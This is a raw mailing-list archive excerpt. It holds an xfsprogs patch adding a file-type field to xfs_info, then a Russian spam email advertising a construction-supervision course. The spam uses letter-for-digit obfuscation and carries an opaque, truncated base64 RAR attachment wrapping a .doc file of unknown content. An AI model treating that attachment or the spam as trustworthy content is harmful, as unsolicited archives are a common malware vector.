Sep 2013 16:07:04 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay3.corp.sgi.com (Postfix) with ESMTP id 149ABAC001 for ; Thu, 19 Sep 2013 14:07:00 -0700 (PDT) Received: from eagdhcp-232-140.americas.sgi.com (localhost [127.0.0.1]) by eagdhcp-232-140.americas.sgi.com (8.14.5/8.14.5) with ESMTP id r8JL70i8003428 for ; Thu, 19 Sep 2013 16:07:00 -0500 (CDT) (envelope-from tinguely@eagdhcp-232-140.americas.sgi.com) Received: (from tinguely@localhost) by eagdhcp-232-140.americas.sgi.com (8.14.5/8.14.5/Submit) id r8JL70i7003427; Thu, 19 Sep 2013 16:07:00 -0500 (CDT) (envelope-from tinguely) Message-Id: <20130919211539.130206963@sgi.com> User-Agent: quilt/0.51-1 Date: Thu, 19 Sep 2013 16:05:25 -0500 From: Mark Tinguely To: xfs@oss.sgi.com Subject: [PATCH 2/3] xfsprog: add dirent filetype information for xfs_info References: <20130919211523.407741285@sgi.com> Content-Disposition: inline; filename=2-3-xfsprogs-add-inode-type-field-to-xfs_info.patch Make xfs_info aware of the directory inode type. Signed-off-by: Mark Tinguely --- growfs/xfs_growfs.c | 14 +++++++++----- include/xfs_fs.h | 31 ++++++++++++++++--------------- 2 files changed, 25 insertions(+), 20 deletions(-) Index: b/growfs/xfs_growfs.c =================================================================== --- a/growfs/xfs_growfs.c +++ b/growfs/xfs_growfs.c @@ -55,7 +55,8 @@ report_info( int attrversion, int projid32bit, int crcs_enabled, - int cimode) + int cimode, + int ftype_enabled) { printf(_( "meta-data=%-22s isize=%-6u agcount=%u, agsize=%u blks\n" @@ -63,7 +64,7 @@ report_info( " =%-22s crc=%u\n" "data =%-22s bsize=%-6u blocks=%llu, imaxpct=%u\n" " =%-22s sunit=%-6u swidth=%u blks\n" - "naming =version %-14u bsize=%-6u ascii-ci=%d\n" + "naming =version %-14u bsize=%-6u ascii-ci=%d field=%d\n" "log =%-22s bsize=%-6u blocks=%u, version=%u\n" " =%-22s sectsz=%-5u sunit=%u blks, lazy-count=%u\n" "realtime =%-22s extsz=%-6u blocks=%llu, rtextents=%llu\n"), @@ -74,7 +75,7 @@ report_info( "", geo.blocksize, (unsigned long long)geo.datablocks, geo.imaxpct, "", geo.sunit, geo.swidth, - dirversion, geo.dirblocksize, cimode, + dirversion, geo.dirblocksize, cimode, ftype_enabled, isint ? _("internal") : logname ? logname : _("external"), geo.blocksize, geo.logblocks, logversion, "", geo.logsectsize, geo.logsunit / geo.blocksize, lazycount, @@ -121,6 +122,7 @@ main(int argc, char **argv) libxfs_init_t xi; /* libxfs structure */ int projid32bit; int crcs_enabled; + int ftype_enabled = 0; progname = basename(argv[0]); setlocale(LC_ALL, ""); @@ -242,10 +244,12 @@ main(int argc, char **argv) ci = geo.flags & XFS_FSOP_GEOM_FLAGS_DIRV2CI ? 1 : 0; projid32bit = geo.flags & XFS_FSOP_GEOM_FLAGS_PROJID32 ? 1 : 0; crcs_enabled = geo.flags & XFS_FSOP_GEOM_FLAGS_V5SB ? 1 : 0; + ftype_enabled = geo.flags & XFS_FSOP_GEOM_FLAGS_FTYPE ? 1 : 0; if (nflag) { report_info(geo, datadev, isint, logdev, rtdev, lazycount, dirversion, logversion, - attrversion, projid32bit, crcs_enabled, ci); + attrversion, projid32bit, crcs_enabled, ci, + ftype_enabled); exit(0); } @@ -282,7 +286,7 @@ main(int argc, char **argv) report_info(geo, datadev, isint, logdev, rtdev, lazycount, dirversion, logversion, - attrversion, projid32bit, crcs_enabled, ci); + attrversion, projid32bit, crcs_enabled, ci, ftype_enabled); ddsize = xi.dsize; dlsize = ( xi.logBBsize? xi.logBBsize : Index: b/include/xfs_fs.h =================================================================== --- a/include/xfs_fs.h +++ b/include/xfs_fs.h @@ -222,21 +222,22 @@ typedef struct xfs_fsop_resblks { #define XFS_FSOP_GEOM_VERSION 0 -#define XFS_FSOP_GEOM_FLAGS_ATTR 0x0001 /* attributes in use */ -#define XFS_FSOP_GEOM_FLAGS_NLINK 0x0002 /* 32-bit nlink values */ -#define XFS_FSOP_GEOM_FLAGS_QUOTA 0x0004 /* quotas enabled */ -#define XFS_FSOP_GEOM_FLAGS_IALIGN 0x0008 /* inode alignment */ -#define XFS_FSOP_GEOM_FLAGS_DALIGN 0x0010 /* large data alignment */ -#define XFS_FSOP_GEOM_FLAGS_SHARED 0x0020 /* read-only shared */ -#define XFS_FSOP_GEOM_FLAGS_EXTFLG 0x0040 /* special extent flag */ -#define XFS_FSOP_GEOM_FLAGS_DIRV2 0x0080 /* directory version 2 */ -#define XFS_FSOP_GEOM_FLAGS_LOGV2 0x0100 /* log format version 2 */ -#define XFS_FSOP_GEOM_FLAGS_SECTOR 0x0200 /* sector sizes >1BB */ -#define XFS_FSOP_GEOM_FLAGS_ATTR2 0x0400 /* inline attributes rework */ -#define XFS_FSOP_GEOM_FLAGS_PROJID32 0x0800 /* 32-bit project IDs */ -#define XFS_FSOP_GEOM_FLAGS_DIRV2CI 0x1000 /* ASCII only CI names */ -#define XFS_FSOP_GEOM_FLAGS_LAZYSB 0x4000 /* lazy superblock counters */ -#define XFS_FSOP_GEOM_FLAGS_V5SB 0x8000 /* version 5 superblock */ +#define XFS_FSOP_GEOM_FLAGS_ATTR 0x00001 /* attributes in use */ +#define XFS_FSOP_GEOM_FLAGS_NLINK 0x00002 /* 32-bit nlink values */ +#define XFS_FSOP_GEOM_FLAGS_QUOTA 0x00004 /* quotas enabled */ +#define XFS_FSOP_GEOM_FLAGS_IALIGN 0x00008 /* inode alignment */ +#define XFS_FSOP_GEOM_FLAGS_DALIGN 0x00010 /* large data alignment */ +#define XFS_FSOP_GEOM_FLAGS_SHARED 0x00020 /* read-only shared */ +#define XFS_FSOP_GEOM_FLAGS_EXTFLG 0x00040 /* special extent flag */ +#define XFS_FSOP_GEOM_FLAGS_DIRV2 0x00080 /* directory version 2 */ +#define XFS_FSOP_GEOM_FLAGS_LOGV2 0x00100 /* log format version 2 */ +#define XFS_FSOP_GEOM_FLAGS_SECTOR 0x00200 /* sector sizes >1BB */ +#define XFS_FSOP_GEOM_FLAGS_ATTR2 0x00400 /* inline attributes rework */ +#define XFS_FSOP_GEOM_FLAGS_PROJID32 0x00800 /* 32-bit project IDs */ +#define XFS_FSOP_GEOM_FLAGS_DIRV2CI 0x01000 /* ASCII only CI names */ +#define XFS_FSOP_GEOM_FLAGS_LAZYSB 0x04000 /* lazy superblock counters */ +#define XFS_FSOP_GEOM_FLAGS_V5SB 0x08000 /* version 5 superblock */ +#define XFS_FSOP_GEOM_FLAGS_FTYPE 0x10000 /* inode directory types */ /* From sabitovaaleksandra@gamenation.com Thu Sep 19 17:36:55 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 213A57CBF for ; Thu, 19 Sep 2013 17:36:55 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 10ECC304048 for ; Thu, 19 Sep 2013 15:36:51 -0700 (PDT) X-ASG-Debug-ID: 1379630207-04cbb02c3b11f2770001-NocioJ Received: from relay.garantsk.spb.ru (relay.garantsk.spb.ru [84.204.65.97]) by cuda.sgi.com with ESMTP id m1vVWZakps4uSROx for ; Thu, 19 Sep 2013 15:36:48 -0700 (PDT) X-Barracuda-Envelope-From: sabitovaaleksandra@gamenation.com X-Barracuda-Apparent-Source-IP: 84.204.65.97 Received: by relay.garantsk.spb.ru (Postfix, from userid 8) id C7E1EC678247; Fri, 20 Sep 2013 02:36:46 +0400 (MSK) Received: from Unknown (unknown [77.89.251.70]) by relay.garantsk.spb.ru (Postfix) with ESMTPA id 1802CC678242; Fri, 20 Sep 2013 02:36:40 +0400 (MSK) Message-ID: <1DEFB15E91444B7B855A89001FB31AB1@mztugw> Reply-To: =?windows-1251?B?0vDl4e7i4O3o/yDR7ejP?= From: =?windows-1251?B?0vDl4e7i4O3o/yDR7ejP?= To: , , , Subject: =?windows-1251?B?0dLQzsjSxcvczcDfIN3K0c/F0NLIx8AgMjAx?= =?windows-1251?B?Mg==?= Date: Fri, 20 Sep 2013 00:36:53 +0200 X-ASG-Orig-Subj: =?windows-1251?B?0dLQzsjSxcvczcDfIN3K0c/F0NLIx8AgMjAx?= =?windows-1251?B?Mg==?= MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_07F8_01CEB599.80CFAA40" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2900.5931 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.6109 X-Barracuda-Connect: relay.garantsk.spb.ru[84.204.65.97] X-Barracuda-Start-Time: 1379630207 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140763 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 HTML_MESSAGE BODY: HTML included in message This is a multi-part message in MIME format. ------=_NextPart_000_07F8_01CEB599.80CFAA40 Content-Type: multipart/alternative; boundary="----=_NextPart_001_07F9_01CEB599.80CFAA40" ------=_NextPart_001_07F9_01CEB599.80CFAA40 Content-Type: text/plain; charset="windows-1251" Content-Transfer-Encoding: quoted-printable =CF=F0=E8=E3=EB=E0=F8=E0=E5=EC =C2=E0=F1 =ED=E0 =EA=F3=F0=F1 =EF=EE =F1=F2= =F0=EE=E8=F2=E5=EB=FC=ED=EE=EC=F3 =ED=E0=E4=E7=EE=F0=F3 =E8 =FD=EA=F1=EF=E5= =F0=F2=E8=E7=E5, =F1=F2=F0=EE=E8=F2=E5=EB=FC=ED=FB=EC =EF=F0=E0=E2=E8=EB=E0= =EC =E8 =ED=EE=F0=EC=E0=EC =E2 =D1=C0=CD=CA=D2-=CF=C5=D2=C5=D0=C1=D3=D0=C3= =C5! =CA=F3=F0=F1 =EF=EE=EC=EE=E6=E5=F2 =F1 =FD=F2=E0=EF=EE=EC =E2=E2=EE=E4=E0= =EE=E1=FA=E5=EA=F2=E0 =E2 =FD=EA=F1=EF=EB=F3=E0=F2=E0=F6=E8=FE =E8 =F0=E0= =E7=F0=E0=E1=EE=F2=EA=E5 =EF=F0=EE=E5=EA=F2=ED=EE-=F1=EC=E5=F2=ED=EE=E9 =E4= =EE=EA=F3=EC=E5=ED=F2=E0=F6=E8=E8, =EE=E1=EB=E5=E3=F7=E8=F2 =EF=F0=EE=F6=E5= =F1=F1 =EF=EE=EB=F3=F7=E5=ED=E8=FF =F0=E0=E7=F0=E5=F8=E5=ED=E8=E9 =ED=E0 = =F1=F2=F0=EE=E8=F2=E5=EB=FC=F1=F2=E2=EE, =EF=EE=EC=EE=E6=E5=F2 =E8=E7=E1=E5= =E6=E0=F2=FC =F2=E8=EF=E8=F7=ED=FB=F5 =EE=F8=E8=E1=EE=EA =EF=F0=E8 =F0=E0= =E1=EE=F2=E5 =F1 =C5=E4=E8=ED=EE=E9 =E3=EE=F1=F3=E4=E0=F0=F1=F2=E2=E5=ED=ED= =EE=E9 =FD=EA=F1=EF=E5=F0=F2=E8=E7=EE=E9. =CF=EE=EC=EE=E6=E5=EC =C2=E0=EC =F1=EE=F0=E8=E5=ED=F2=E8=F0=EE=E2=E0=F2=FC= =F1=FF =E2 =ED=EE=E2=FB=F5 =ED=EE=F0=EC=E0=F5 =EF=F0=EE=E2=E5=E4=E5=ED=E8= =FF =F1=F2=F0=EE=E8=F2=E5=EB=FC=ED=EE=E9 =FD=EA=F1=EF=E5=F0=F2=E8=E7=FB. =CA=EE=ED=F1=F3=EB=FC=F2=E0=F6=E8=EE=ED=ED=FB=E9 =EA=F3=F0=F1 =EF=EE =F2=E5= =EC=E0=EC: - =F1=EC=E5=F2=ED=E0=FF =F7=E0=F1=F2=FC =F1=EC=E5=F2=ED=EE-=EF=F0=EE=E5=EA= =F2=ED=EE=E9 =E4=EE=EA=F3=EC=E5=ED=F2=E0=F6=E8=E8; - =EE=E1=E7=EE=F0 =E0=EA=F2=F3=E0=EB=FC=ED=EE=E3=EE =E7=E0=EA=EE=ED=EE=E4= =E0=F2=E5=EB=FC=F1=F2=E2=E0: 3=E77-=D4=C7 =EE=F2 28.Il.2O1I; 224-=D4=C7 =EE= =F2 l8 =E8=FE=EB=FF 2=CElI =E3=EE=E4=E0; N224-=D4=C7 =E8 2=F7=C7-=D4=C7 =EE= =F2 l8 =E8=FE=EB=FF 2=CElI =E3=EE=E4=E0 =E8 =E4=F0=F3=E3=E8=E5 =ED=EE=F0=EC= =E0=F2=E8=E2=ED=EE-=EF=F0=E0=E2=EE=E2=FB=E5 =E0=EA=F2=FB; - =EF=EE=F1=EB=E5=E4=ED=E8=E5 =E8=E7=EC=E5=ED=E5=ED=E8=FF =E2 =E3=F0=E0=E4= =EA=EE=E4=E5=EA=F1, =E2=F1=F2=F3=EF=E0=FE=F9=E8=E5 =E2 =F1=E8=EB=F3 01.04= .2012 =E3. - =CF=EE=F0=FF=E4=EE=EA =E2=FB=E4=E0=F7=E8 =E8 =F1=EE=E3=EB=E0=F1=EE=E2=E0= =ED=E8=FF =F0=E0=E7=F0=E5=F8=E5=ED=E8=FF =ED=E0 =F1=F2=F0=EE=E8=F2=E5=EB=FC= =F1=F2=E2=EE; - =E0=EB=E3=EE=F0=E8=F2=EC =E2=E7=E0=E8=EC=EE=E4=E5=E9=F1=F2=E2=E8=FF =F1= =FD=EA=F1=EF=E5=F0=F2=E8=E7=EE=E9 =E8 =E3=EE=F1=F1=F2=F0=EE=E9=ED=E0=E4=E7= =EE=F0=EE=EC; - =EF=EE=F0=FF=E4=EE=EA =E2=E7=E0=E8=EC=EE=E4=E5=E9=F1=F2=E2=E8=FF =F1=EB= =F3=E6=E1 =E3=EE=F1=F3=E4=E0=F0=F1=F2=E2=E5=ED=ED=EE=E3=EE =F1=F2=F0=EE=E8= =F2=E5=EB=FC=ED=EE=E3=EE =ED=E0=E4=E7=EE=F0=E0 =E8 =ED=E5=E3=EE=F1=F3=E4=E0= =F0=F1=F2=E2=E5=ED=ED=EE=E9 =FD=EA=F1=EF=E5=F0=F2=E8=E7=FB; - =F0=F3=EA=EE=E2=EE=E4=FF=F9=E8=E5 =E4=EE=EA=F3=EC=E5=ED=F2=FB: =FD=EA=F1= =EF=E5=F0=F2=E8=E7=E0, =E3=EE=F1=F1=F2=F0=EE=E9=ED=E0=E4=E7=EE=F0; - =E0=E4=EC=E8=ED=E8=F1=F2=F0=E0=F2=E8=E2=ED=E0=FF =EE=F2=E2=E5=F2=F1=F2=E2= =E5=ED=ED=EE=F1=F2=FC; =D2=E0=EA=E6=E5 =ED=E0 =EA=F3=F0=F1=E5 =C2=E0=F1 =E6=E4=E5=F2 =EF=EE=E4=F0= =EE=E1=ED=FB=E9 =F0=E0=E7=E1=EE=F0 =E8 =EE=E1=E7=EE=F0 =F1=EE=E2=F0=E5=EC= =E5=ED=ED=EE=E9 =ED=EE=F0=EC=E0=F2=E8=E2=ED=EE-=E7=E0=EA=EE=ED=EE=E4=E0=F2= =E5=EB=FC=ED=EE=E9 =E1=E0=E7=FB =E8=ED=E2=E5=F1=F2=E8=F6=E8=EE=ED=ED=EE-=F1= =F2=F0=EE=E8=F2=E5=EB=FC=ED=EE=E3=EE =EF=F0=EE=F6=E5=F1=F1=E0. =C4=E0=F2=E0 =EF=F0=EE=E2=E5=E4=E5=ED=E8=FF =EC=E5=F0=EE=EF=F0=E8=FF=F2=E8= =E9: O7 - O8 =CE=CA=D2=DF=C1=D0=DF 2OI3=E3=EE=E4, =D1=CF=E1. =D0=E0=F1=EF=E8=F1=E0=ED=E8=E5, =F1=EF=E8=F1=EE=EA =EF=F0=E5=EF=EE=E4=E0=E2= =E0=F2=E5=EB=E5=E9 =E8 =CF=CE=CB=CD=D3=DE =CF=D0=CE=C3=D0=C0=CC=CC=D3 =EC= =E5=F0=EE=EF=F0=E8=FF=F2=E8=FF =C2=FB =EC=EE=E6=E5=F2=E5 =F3=E7=ED=E0=F2=FC= =EF=EE =F2=E5=EB: +7 [ =EA=EE=E4 =CF=E5=F2=E5=F0=E1=F3=F0=E3=E0 = ] 64^2 . =CE7 =3D 7^6 ------=_NextPart_001_07F9_01CEB599.80CFAA40 Content-Type: text/html; charset="windows-1251" Content-Transfer-Encoding: quoted-printable

=CF=F0=E8= =E3=EB=E0=F8=E0=E5=EC =C2=E0=F1 =ED=E0 =EA=F3=F0=F1 =EF=EE =F1=F2=F0=EE=E8= =F2=E5=EB=FC=ED=EE=EC=F3 =ED=E0=E4=E7=EE=F0=F3 =E8 =FD=EA=F1=EF=E5=F0=F2=E8= =E7=E5, =F1=F2=F0=EE=E8=F2=E5=EB=FC=ED=FB=EC =EF=F0=E0=E2=E8=EB=E0=EC =E8= =ED=EE=F0=EC=E0=EC =E2 =D1=C0=CD=CA=D2-=CF=C5=D2=C5=D0=C1=D3=D0=C3=C5! <= /div>

=CA=F3=F0=F1 =EF=EE=EC=EE=E6=E5=F2 =F1 =FD=F2=E0=EF=EE=EC =E2= =E2=EE=E4=E0 =EE=E1=FA=E5=EA=F2=E0 =E2 =FD=EA=F1=EF=EB=F3=E0=F2=E0=F6=E8=FE= =E8 =F0=E0=E7=F0=E0=E1=EE=F2=EA=E5 =EF=F0=EE=E5=EA=F2=ED=EE-=F1=EC=E5=F2= =ED=EE=E9 =E4=EE=EA=F3=EC=E5=ED=F2=E0=F6=E8=E8, =EE=E1=EB=E5=E3=F7=E8=F2 = =EF=F0=EE=F6=E5=F1=F1 =EF=EE=EB=F3=F7=E5=ED=E8=FF =F0=E0=E7=F0=E5=F8=E5=ED= =E8=E9 =ED=E0 =F1=F2=F0=EE=E8=F2=E5=EB=FC=F1=F2=E2=EE, =EF=EE=EC=EE=E6=E5= =F2 =E8=E7=E1=E5=E6=E0=F2=FC =F2=E8=EF=E8=F7=ED=FB=F5 =EE=F8=E8=E1=EE=EA = =EF=F0=E8 =F0=E0=E1=EE=F2=E5 =F1 =C5=E4=E8=ED=EE=E9 =E3=EE=F1=F3=E4=E0=F0= =F1=F2=E2=E5=ED=ED=EE=E9 =FD=EA=F1=EF=E5=F0=F2=E8=E7=EE=E9.
= =CF=EE=EC=EE=E6=E5=EC =C2=E0=EC =F1=EE=F0=E8=E5=ED=F2=E8=F0=EE=E2=E0=F2=FC= =F1=FF =E2 =ED=EE=E2=FB=F5 =ED=EE=F0=EC=E0=F5 =EF=F0=EE=E2=E5=E4=E5=ED=E8= =FF =F1=F2=F0=EE=E8=F2=E5=EB=FC=ED=EE=E9 =FD=EA=F1=EF=E5=F0=F2=E8=E7=FB. =

=CA=EE=ED=F1=F3=EB=FC=F2=E0=F6=E8=EE=ED=ED=FB=E9 =EA=F3=F0=F1 =EF= =EE =F2=E5=EC=E0=EC:

- =F1=EC=E5=F2=ED=E0=FF =F7=E0=F1=F2=FC= =F1=EC=E5=F2=ED=EE-=EF=F0=EE=E5=EA=F2=ED=EE=E9 =E4=EE=EA=F3=EC=E5=ED=F2=E0= =F6=E8=E8;
- =EE=E1=E7=EE=F0 =E0=EA=F2=F3=E0=EB=FC=ED=EE=E3=EE= =E7=E0=EA=EE=ED=EE=E4=E0=F2=E5=EB=FC=F1=F2=E2=E0: 3=E77-=D4=C7 =EE=F2 28= .Il.2O1I; 224-=D4=C7 =EE=F2 l8 =E8=FE=EB=FF 2=CElI =E3=EE=E4=E0; N224-=D4= =C7 =E8 2=F7=C7-=D4=C7 =EE=F2 l8 =E8=FE=EB=FF 2=CElI =E3=EE=E4=E0 =E8 =E4= =F0=F3=E3=E8=E5 =ED=EE=F0=EC=E0=F2=E8=E2=ED=EE-=EF=F0=E0=E2=EE=E2=FB=E5 =E0= =EA=F2=FB;
- =EF=EE=F1=EB=E5=E4=ED=E8=E5 =E8=E7=EC=E5=ED=E5=ED= =E8=FF =E2 =E3=F0=E0=E4=EA=EE=E4=E5=EA=F1, =E2=F1=F2=F3=EF=E0=FE=F9=E8=E5= =E2 =F1=E8=EB=F3 01.04.2012 =E3.
- =CF=EE=F0=FF=E4=EE=EA =E2= =FB=E4=E0=F7=E8 =E8 =F1=EE=E3=EB=E0=F1=EE=E2=E0=ED=E8=FF =F0=E0=E7=F0=E5=F8= =E5=ED=E8=FF =ED=E0 =F1=F2=F0=EE=E8=F2=E5=EB=FC=F1=F2=E2=EE;
= - =E0=EB=E3=EE=F0=E8=F2=EC =E2=E7=E0=E8=EC=EE=E4=E5=E9=F1=F2=E2=E8=FF =F1= =FD=EA=F1=EF=E5=F0=F2=E8=E7=EE=E9 =E8 =E3=EE=F1=F1=F2=F0=EE=E9=ED=E0=E4=E7= =EE=F0=EE=EC;
- =EF=EE=F0=FF=E4=EE=EA =E2=E7=E0=E8=EC=EE=E4=E5= =E9=F1=F2=E2=E8=FF =F1=EB=F3=E6=E1 =E3=EE=F1=F3=E4=E0=F0=F1=F2=E2=E5=ED=ED= =EE=E3=EE =F1=F2=F0=EE=E8=F2=E5=EB=FC=ED=EE=E3=EE =ED=E0=E4=E7=EE=F0=E0 =E8= =ED=E5=E3=EE=F1=F3=E4=E0=F0=F1=F2=E2=E5=ED=ED=EE=E9 =FD=EA=F1=EF=E5=F0=F2= =E8=E7=FB;
- =F0=F3=EA=EE=E2=EE=E4=FF=F9=E8=E5 =E4=EE=EA=F3=EC= =E5=ED=F2=FB: =FD=EA=F1=EF=E5=F0=F2=E8=E7=E0, =E3=EE=F1=F1=F2=F0=EE=E9=ED= =E0=E4=E7=EE=F0;
- =E0=E4=EC=E8=ED=E8=F1=F2=F0=E0=F2=E8=E2=ED= =E0=FF =EE=F2=E2=E5=F2=F1=F2=E2=E5=ED=ED=EE=F1=F2=FC;
=D2=E0= =EA=E6=E5 =ED=E0 =EA=F3=F0=F1=E5 =C2=E0=F1 =E6=E4=E5=F2 =EF=EE=E4=F0=EE=E1= =ED=FB=E9 =F0=E0=E7=E1=EE=F0 =E8 =EE=E1=E7=EE=F0 =F1=EE=E2=F0=E5=EC=E5=ED= =ED=EE=E9 =ED=EE=F0=EC=E0=F2=E8=E2=ED=EE-=E7=E0=EA=EE=ED=EE=E4=E0=F2=E5=EB= =FC=ED=EE=E9 =E1=E0=E7=FB =E8=ED=E2=E5=F1=F2=E8=F6=E8=EE=ED=ED=EE-=F1=F2=F0= =EE=E8=F2=E5=EB=FC=ED=EE=E3=EE =EF=F0=EE=F6=E5=F1=F1=E0.

=

=C4=E0=F2=E0 =EF= =F0=EE=E2=E5=E4=E5=ED=E8=FF =EC=E5=F0=EE=EF=F0=E8=FF=F2=E8=E9: O7 - O8 =CE= =CA=D2=DF=C1=D0=DF 2OI3=E3=EE=E4, =D1=CF=E1.

=D0=E0=F1=EF=E8=F1=E0= =ED=E8=E5, =F1=EF=E8=F1=EE=EA =EF=F0=E5=EF=EE=E4=E0=E2=E0=F2=E5=EB=E5=E9 = =E8 =CF=CE=CB=CD=D3=DE =CF=D0=CE=C3=D0=C0=CC=CC=D3 =EC=E5=F0=EE=EF=F0=E8=FF= =F2=E8=FF =C2=FB =EC=EE=E6=E5=F2=E5 =F3=E7=ED=E0=F2=FC =EF=EE =F2=E5=EB: = +7 [ =EA=EE=E4 =CF=E5=F2=E5=F0=E1=F3=F0=E3=E0 ] 64^2 . =CE7= =3D 7^6

------=_NextPart_001_07F9_01CEB599.80CFAA40-- ------=_NextPart_000_07F8_01CEB599.80CFAA40 Content-Type: application/octet-stream; name="progrmerop.rar" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="progrmerop.rar" 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 